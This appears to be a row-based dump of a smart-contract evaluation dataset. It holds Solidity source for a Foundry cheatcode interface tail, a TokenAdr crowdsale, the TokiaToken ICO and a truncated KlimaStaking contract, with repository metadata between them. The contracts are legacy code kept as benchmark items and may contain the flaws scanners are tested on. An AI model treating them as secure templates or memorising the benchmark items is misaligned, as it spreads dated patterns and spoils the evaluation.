function parseBytes32(string calldata) external returns (bytes32);
function parseBool(string calldata) external returns (bool);
// Record all the transaction logs
function recordLogs() external;
// Gets all the recorded logs, () => (logs)
function getRecordedLogs() external returns (Log[] memory);
// Snapshot the current state of the evm.
// Returns the id of the snapshot that was created.
// To revert a snapshot use `revertTo`
function snapshot() external returns(uint256);
// Revert the state of the evm to a previous snapshot
// Takes the snapshot id to revert to.
// This deletes the snapshot and all snapshots taken after the given snapshot id.
function revertTo(uint256) external returns(bool);
// Creates a new fork with the given endpoint and block and returns the identifier of the fork
function createFork(string calldata,uint256) external returns(uint256);
function createFork(string calldata) external returns(uint256);
function createFork(string calldata, bytes32) external returns (uint256);
function createSelectFork(string calldata,uint256) external returns(uint256);
function createSelectFork(string calldata, bytes32) external returns (uint256);
function createSelectFork(string calldata) external returns(uint256);
// Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
function selectFork(uint256) external;
/// Returns the currently active fork
/// Reverts if no fork is currently active
function activeFork() external returns(uint256);
// Updates the currently active fork to given block number
// This is similar to `roll` but for the currently active fork
function rollFork(uint256) external;
// Updates the currently active fork to given transaction
function rollFork(bytes32) external;
// Updates the given fork to given block number
function rollFork(uint256 forkId, uint256 blockNumber) external;
function rollFork(uint256 forkId, bytes32 transaction) external;
// Marks that the account(s) should use persistent storage across fork swaps in a multifork setup
// Meaning, changes made to the state of this account will be kept when switching forks
function makePersistent(address) external;
function makePersistent(address, address) external;
function makePersistent(address, address, address) external;
function makePersistent(address[] calldata) external;
// Revokes persistent status from the address, previously added via `makePersistent`
function revokePersistent(address) external;
function revokePersistent(address[] calldata) external;
// Returns true if the account is marked as persistent
function isPersistent(address) external returns (bool);
// In forking mode, explicitly grant the given address cheatcode access
function allowCheatcodes(address) external;
// Returns the RPC url for the given alias
function rpcUrl(string calldata) external returns(string memory);
// Returns all rpc urls and their aliases `[alias, url][]`
function rpcUrls() external returns(string[2][] memory);
function deriveKey(string calldata, uint32) external returns (uint256);
function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
// Adds a private key to the local forge wallet and returns the address
function rememberKey(uint256) external returns (address);
// parseJson
// Given a string of JSON, return the ABI-encoded value of provided key
// (stringified json, key) => (ABI-encoded data)
// Read the note below!
function parseJson(string calldata, string calldata) external returns(bytes memory);
// Given a string of JSON, return it as ABI-encoded, (stringified json, key) => (ABI-encoded data)
// Read the note below!
function parseJson(string calldata) external returns(bytes memory);
// Note:
// ----
// In case the returned value is a JSON object, it's encoded as a ABI-encoded tuple. As JSON objects
// as tuples, with the attributes in the order in which they are defined.
// For example: json = { 'a': 1, 'b': 0xa4tb......3xs}
// a: uint256
// b: address
// To decode that json, we need to define a struct or a tuple as follows:
// struct json = { uint256 a; address b; }
// decode the tuple in that order, and thus fail.
}
| 224,439 | 11,748 |
55bb5222e54f495f1518c47d187e765ed9ca72e7d27f3a64376824b70c99ad89
| 9,897 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x41b54744d077a60104a9f3dfdd681ad2694eb5e4.sol
| 2,516 | 9,728 |
pragma solidity ^0.4.18;
// Interface for contracts with buying functionality, for example, crowdsales.
contract Buyable {
function buy (address receiver) public payable;
}
/// @title SafeMath contract - math operations with safety checks
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/// @title ERC20 interface see https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function allowance(address owner, address spender) public constant returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
function decimals() public constant returns (uint value);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/// @title Ownable contract - base contract with an owner
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title TokenAdr token sale contract
contract TokenAdrTokenSale is Ownable, SafeMath, Buyable {
/// State machine
/// Preparing: Waiting for ICO start
/// Selling: Active sale
/// ProlongedSelling: Prolonged active sale
/// TokenShortage: ICO period isn't over yet, but there are no tokens on the contract
/// Finished: ICO has finished
enum Status {Unknown, Preparing, Selling, ProlongedSelling, TokenShortage, Finished}
/// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount);
/// Contract owner withdrew some tokens to team wallet
event Withdraw(uint tokenAmount);
/// Token unit price changed
event TokenPriceChanged(uint newTokenPrice);
/// SNTR token address
ERC20 public token;
/// wallet address to transfer invested ETH
address public ethMultisigWallet;
/// wallet address to withdraw unused tokens
address public tokenMultisigWallet;
/// ICO start time
uint public startTime;
/// ICO duration in seconds
uint public duration;
/// Prolonged ICO duration in seconds, 0 if no prolongation is planned
uint public prolongedDuration;
/// Token price in wei
uint public tokenPrice;
/// Minimal investment amount in wei
uint public minInvestment;
/// List of addresses allowed to send ETH to this contract, empty if anyone is allowed
address[] public allowedSenders;
/// The number of tokens already sold through this contract
uint public tokensSoldAmount = 0;
/// How many wei of funding we have raised
uint public weiRaisedAmount = 0;
/// How many distinct addresses have invested
uint public investorCount = 0;
/// Was prolongation permitted by owner or not
bool public prolongationPermitted;
/// How much ETH each address has invested to this crowdsale
mapping (address => uint256) public investedAmountOf;
/// How much tokens this crowdsale has credited for each investor address
mapping (address => uint256) public tokenAmountOf;
/// Multiplier for token value
uint public tokenValueMultiplier;
/// Stop trigger in excess
bool public stopped;
/// @dev Constructor
/// @param _token token address
/// @param _ethMultisigWallet wallet address to transfer invested ETH
/// @param _tokenMultisigWallet wallet address to withdraw unused tokens
/// @param _startTime ICO start time
/// @param _duration ICO duration in seconds
/// @param _prolongedDuration Prolonged ICO duration in seconds, 0 if no prolongation is planned
/// @param _tokenPrice Token price in wei
/// @param _minInvestment Minimal investment amount in wei
function TokenAdrTokenSale(address _token, address _ethMultisigWallet, address _tokenMultisigWallet,
uint _startTime, uint _duration, uint _prolongedDuration, uint _tokenPrice, uint _minInvestment, address[] _allowedSenders) public {
require(_token != 0);
require(_ethMultisigWallet != 0);
require(_tokenMultisigWallet != 0);
require(_duration > 0);
require(_tokenPrice > 0);
require(_minInvestment > 0);
token = ERC20(_token);
ethMultisigWallet = _ethMultisigWallet;
tokenMultisigWallet = _tokenMultisigWallet;
startTime = _startTime;
duration = _duration;
prolongedDuration = _prolongedDuration;
tokenPrice = _tokenPrice;
minInvestment = _minInvestment;
allowedSenders = _allowedSenders;
tokenValueMultiplier = 10 ** token.decimals();
}
/// @dev Sell tokens to specified address
/// @param receiver receiver of bought tokens
function buy (address receiver) public payable {
require(!stopped);
require(getCurrentStatus() == Status.Selling || getCurrentStatus() == Status.ProlongedSelling);
require(msg.value >= minInvestment);
// Check if current sender is allowed to participate in this crowdsale
var senderAllowed = false;
if (allowedSenders.length > 0) {
for (uint i = 0; i < allowedSenders.length; i++)
if (allowedSenders[i] == receiver) {
senderAllowed = true;
break;
}
}
else
senderAllowed = true;
assert(senderAllowed);
uint weiAmount = msg.value;
uint tokenAmount = safeDiv(safeMul(weiAmount, tokenValueMultiplier), tokenPrice);
assert(tokenAmount > 0);
uint changeWei = 0;
var currentContractTokens = token.balanceOf(address(this));
if (currentContractTokens < tokenAmount) {
var changeTokenAmount = safeSub(tokenAmount, currentContractTokens);
changeWei = safeDiv(safeMul(changeTokenAmount, tokenPrice), tokenValueMultiplier);
tokenAmount = currentContractTokens;
weiAmount = safeSub(weiAmount, changeWei);
}
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor-amount mappings
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver], weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver], tokenAmount);
// Update totals
weiRaisedAmount = safeAdd(weiRaisedAmount, weiAmount);
tokensSoldAmount = safeAdd(tokensSoldAmount, tokenAmount);
// Transfer the invested ETH to the multisig wallet;
ethMultisigWallet.transfer(weiAmount);
// Transfer the bought tokens to the ETH sender
var transferSuccess = token.transfer(receiver, tokenAmount);
assert(transferSuccess);
// Return change if any
if (changeWei > 0) {
receiver.transfer(changeWei);
}
// Tell us the investment succeeded
Invested(receiver, weiAmount, tokenAmount);
}
/// @dev Sell tokens to ETH sender
function() public payable {
buy(msg.sender);
}
/// @dev Token sale state machine management.
/// @return Status current status
function getCurrentStatus() public constant returns (Status) {
if (startTime > now)
return Status.Preparing;
if (now > startTime + duration + prolongedDuration)
return Status.Finished;
if (now > startTime + duration && !prolongationPermitted)
return Status.Finished;
if (token.balanceOf(address(this)) <= 0)
return Status.TokenShortage;
if (now > startTime + duration)
return Status.ProlongedSelling;
if (now >= startTime)
return Status.Selling;
return Status.Unknown;
}
/// @dev Withdraw remaining tokens to the team wallet
/// @param value Amount of tokens to withdraw
function withdrawTokens(uint value) public onlyOwner {
require(value <= token.balanceOf(address(this)));
// Return the specified amount of tokens to team wallet
token.transfer(tokenMultisigWallet, value);
Withdraw(value);
}
/// @dev Change current token price
/// @param newTokenPrice New token unit price in wei
function changeTokenPrice(uint newTokenPrice) public onlyOwner {
require(newTokenPrice > 0);
tokenPrice = newTokenPrice;
TokenPriceChanged(newTokenPrice);
}
/// @dev Prolong ICO if owner decides to do it
function prolong() public onlyOwner {
require(!prolongationPermitted && prolongedDuration > 0);
prolongationPermitted = true;
}
/// @dev Called by the owner on excess, triggers stopped state
function stopSale() public onlyOwner {
stopped = true;
}
/// @dev Called by the owner on end of excess, returns to normal state
function resumeSale() public onlyOwner {
require(stopped);
stopped = false;
}
/// @dev Called by the owner to destroy contract
function kill() public onlyOwner {
selfdestruct(owner);
}
}
| 196,419 | 11,749 |
7b898d1819cde66b21708fb6184185106e6880cbf0fc4e834a67380df60cbed3
| 17,467 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xdae1baf249964bc4b6ac98c3122f0e3e785fd279.sol
| 3,922 | 14,298 |
pragma solidity 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
// ERC20 basic token contract being held
ERC20Basic public token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp when token release is enabled
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > uint64(block.timestamp));
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(uint64(block.timestamp) >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Owned {
address public owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract TokiaToken is StandardToken, Owned {
string public constant name = "TokiaToken";
string public constant symbol = "TKA";
uint8 public constant decimals = 18;
/// Maximum tokens to be allocated.
uint256 public constant HARD_CAP = 62500000 * 10**uint256(decimals);
/// Maximum tokens to be allocated on the sale (75% of the hard cap)
uint256 public constant TOKENS_SALE_HARD_CAP = 50000000 * 10**uint256(decimals);
/// Base exchange rate is set to 1 ETH = 714 TKA.
uint256 public constant BASE_RATE = 714;
/// seconds since 01.01.1970 to 04.12.2017 (both 00:00:00 o'clock UTC)
/// presale start time
uint64 private constant date04Dec2017 = 1512345600;
/// presale end time; round 1 start time
uint64 private constant date01Jan2018 = 1514764800;
/// round 1 end time; round 2 start time
uint64 private constant date01Feb2018 = 1517443200;
/// round 2 end time; round 3 start time
uint64 private constant date15Feb2018 = 1518652800;
/// round 3 end time; round 4 start time
uint64 private constant date01Mar2018 = 1519862400;
/// round 4 end time; closing token sale
uint64 private constant date15Mar2018 = 1521072000;
/// team tokens are locked until this date (01.01.2019)
uint64 private constant date01Jan2019 = 1546300800;
/// token trading opening time (01.05.2018)
uint64 private constant date01May2018 = 1525219199;
/// no tokens can be ever issued when this is set to "true"
bool public tokenSaleClosed = false;
/// contract to be called to release the Tokia team tokens
address public timelockContractAddress;
/// Issue event index starting from 0.
uint64 public issueIndex = 0;
/// Emitted for each sucuessful token purchase.
event Issue(uint64 issueIndex, address addr, uint256 tokenAmount);
modifier inProgress {
require(totalSupply < TOKENS_SALE_HARD_CAP
&& !tokenSaleClosed);
_;
}
/// Allow the closing to happen only once
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
/// Require that the end of the sale has passed (time is 01 May 2018 or later)
modifier tradingOpen {
require(uint64(block.timestamp) > date01May2018);
_;
}
function TokiaToken() public {
}
/// @dev This default function allows token to be purchased by directly
/// sending ether to this smart contract.
function () public payable {
purchaseTokens(msg.sender);
}
/// @dev Issue token based on Ether received.
/// @param _beneficiary Address that newly issued token will be sent to.
function purchaseTokens(address _beneficiary) public payable inProgress {
// only accept a minimum amount of ETH?
require(msg.value >= 0.01 ether);
uint256 tokens = computeTokenAmount(msg.value);
doIssueTokens(_beneficiary, tokens);
/// forward the raised funds to the contract creator
owner.transfer(this.balance);
}
/// @dev Batch issue tokens on the presale
/// @param _addresses addresses that the presale tokens will be sent to.
/// @param _addresses the amounts of tokens, with decimals expanded (full).
function issueTokensMulti(address[] _addresses, uint256[] _tokens) public onlyOwner inProgress {
require(_addresses.length == _tokens.length);
require(_addresses.length <= 100);
for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {
doIssueTokens(_addresses[i], _tokens[i].mul(10**uint256(decimals)));
}
}
/// @dev Issue tokens for a single buyer on the presale
/// @param _beneficiary addresses that the presale tokens will be sent to.
/// @param _tokens the amount of tokens, with decimals expanded (full).
function issueTokens(address _beneficiary, uint256 _tokens) public onlyOwner inProgress {
doIssueTokens(_beneficiary, _tokens.mul(10**uint256(decimals)));
}
/// @dev issue tokens for a single buyer
/// @param _beneficiary addresses that the tokens will be sent to.
/// @param _tokens the amount of tokens, with decimals expanded (full).
function doIssueTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
// compute without actually increasing it
uint256 increasedTotalSupply = totalSupply.add(_tokens);
// roll back if hard cap reached
require(increasedTotalSupply <= TOKENS_SALE_HARD_CAP);
// increase token total supply
totalSupply = increasedTotalSupply;
// update the beneficiary balance to number of tokens sent
balances[_beneficiary] = balances[_beneficiary].add(_tokens);
// event is fired when tokens issued
Issue(issueIndex++,
_beneficiary,
_tokens);
}
/// @dev Returns the current price.
function price() public view returns (uint256 tokens) {
return computeTokenAmount(1 ether);
}
/// @dev Compute the amount of TKA token that can be purchased.
/// @param ethAmount Amount of Ether to purchase TKA.
/// @return Amount of TKA token to purchase
function computeTokenAmount(uint256 ethAmount) internal view returns (uint256 tokens) {
uint256 tokenBase = ethAmount.mul(BASE_RATE);
uint8[5] memory roundDiscountPercentages = [47, 35, 25, 15, 5];
uint8 roundDiscountPercentage = roundDiscountPercentages[currentRoundIndex()];
uint8 amountDiscountPercentage = getAmountDiscountPercentage(tokenBase);
tokens = tokenBase.mul(100).div(100 - (roundDiscountPercentage + amountDiscountPercentage));
}
/// @dev Compute the additional discount for the purchaed amount of TKA
/// @param tokenBase the base tokens amount computed only against the base rate
/// @return integer representing the percentage discount
function getAmountDiscountPercentage(uint256 tokenBase) internal pure returns (uint8) {
if(tokenBase >= 1500 * 10**uint256(decimals)) return 9;
if(tokenBase >= 1000 * 10**uint256(decimals)) return 5;
if(tokenBase >= 500 * 10**uint256(decimals)) return 3;
return 0;
}
/// @dev Determine the current sale round
/// @return integer representing the index of the current sale round
function currentRoundIndex() internal view returns (uint8 roundNum) {
roundNum = currentRoundIndexByDate();
/// token caps for each round
uint256[5] memory roundCaps = [
10000000 * 10**uint256(decimals),
22500000 * 10**uint256(decimals), // + round 1
35000000 * 10**uint256(decimals), // + round 2
40000000 * 10**uint256(decimals), // + round 3
50000000 * 10**uint256(decimals) // + round 4
];
/// round determined by conjunction of both time and total sold tokens
while(roundNum < 4 && totalSupply > roundCaps[roundNum]) {
roundNum++;
}
}
/// @dev Determine the current sale tier.
/// @return the index of the current sale tier by date.
function currentRoundIndexByDate() internal view returns (uint8 roundNum) {
uint64 _now = uint64(block.timestamp);
require(_now <= date15Mar2018);
roundNum = 0;
if(_now > date01Mar2018) roundNum = 4;
if(_now > date15Feb2018) roundNum = 3;
if(_now > date01Feb2018) roundNum = 2;
if(_now > date01Jan2018) roundNum = 1;
return roundNum;
}
/// @dev Closes the sale, issues the team tokens and burns the unsold
function close() public onlyOwner beforeEnd {
/// team tokens are equal to 25% of the sold tokens
uint256 teamTokens = totalSupply.mul(25).div(100);
/// check for rounding errors when cap is reached
if(totalSupply.add(teamTokens) > HARD_CAP) {
teamTokens = HARD_CAP.sub(totalSupply);
}
/// team tokens are locked until this date (01.01.2019)
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, date01Jan2019);
timelockContractAddress = address(lockedTeamTokens);
balances[timelockContractAddress] = balances[timelockContractAddress].add(teamTokens);
/// increase token total supply
totalSupply = totalSupply.add(teamTokens);
/// fire event when tokens issued
Issue(issueIndex++,
timelockContractAddress,
teamTokens);
/// burn the unallocated tokens - no more tokens can be issued after this line
tokenSaleClosed = true;
/// forward the raised funds to the contract creator
owner.transfer(this.balance);
}
/// Transfer limited by the tradingOpen modifier (time is 01 May 2018 or later)
function transferFrom(address _from, address _to, uint256 _value) public tradingOpen returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/// Transfer limited by the tradingOpen modifier (time is 01 May 2018 or later)
function transfer(address _to, uint256 _value) public tradingOpen returns (bool) {
return super.transfer(_to, _value);
}
}
| 222,034 | 11,750 |
f24f7d073d937c2daa29c6f5f5dbff9fda23a254cee5e286ec5ed680d4668332
| 26,544 |
.sol
|
Solidity
| false |
492670100
|
Messi-Q/DeFi-Protocol
|
ce2661ef6bbb7810544bb619b6687e7228df8491
|
Decentralized Exchange/Normal/klimadao/contracts/staking/regular/KlimaStaking_v2.sol
| 4,172 | 16,550 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsKLIMA {
function rebase(uint256 klimaProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract KlimaStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable KLIMA;
address public immutable sKLIMA;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
